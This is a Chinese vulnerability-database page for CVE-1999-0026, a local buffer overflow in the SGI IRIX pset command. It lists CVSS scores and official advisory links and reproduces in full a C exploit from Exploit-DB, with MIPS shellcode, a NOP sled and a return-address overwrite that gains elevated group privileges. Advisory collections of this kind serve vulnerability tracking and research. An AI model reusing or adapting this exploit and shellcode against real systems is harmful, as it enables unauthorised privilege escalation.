CVE-1999-0026
CVSS4.6
发布时间 :1997-07-16 00:00:00
修订时间 :2008-09-09 08:33:35
NMCOE    

[原文]root privileges via buffer overflow in pset command on SGI IRIX systems.


[CNNVD]SGI IRIX pset缓冲区溢出漏洞(CNNVD-199707-026)

        基于SGI IRIX系统的pset命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0026
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0026
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199707-026
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

SGI IRIX pset缓冲区溢出漏洞
中危 缓冲区溢出
1997-07-16 00:00:00 2005-05-02 00:00:00
本地  
        基于SGI IRIX系统的pset命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

- 公告与补丁

        

- 漏洞信息 (19347)

SGI IRIX <= 6.3 pset Vulnerability (EDBID:19347)
irix local
1997-07-17 Verified
0 Last Stage of Delirium
N/A [点击下载]
source: http://www.securityfocus.com/bid/457/info

The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended. 

/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/

/* This one gives you egid=0(sys) */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
/*
char nop[]="\x24\x0f\x12\x34";
*/
char nop[]="\x01\x20\x48\x25";

void run(unsigned char *buf) {
  execl("/sbin/pset","lsd","-s","666",buf,NULL);
  printf("execl failed\n");
}

char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

/*
unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address=%p\n", *(int *)addr);

  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=align;
  for(i=0;i<bufsize;i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<ALIGN2;i++)
   *ptr++=nop[i%noplen];
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;
  printf("buflen=%d\n", strlen(buf));
  fflush(stdout);

  run(buf);
}
		

- 漏洞信息

8423
IRIX pset Argument Handling Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in SGI IRIX. The pset program fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request, a malicious user can cause arbitrary commands execution with root privileges resulting in a loss of integrity.

- 时间线

1997-07-10 Unknow
1996-12-01 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SGI has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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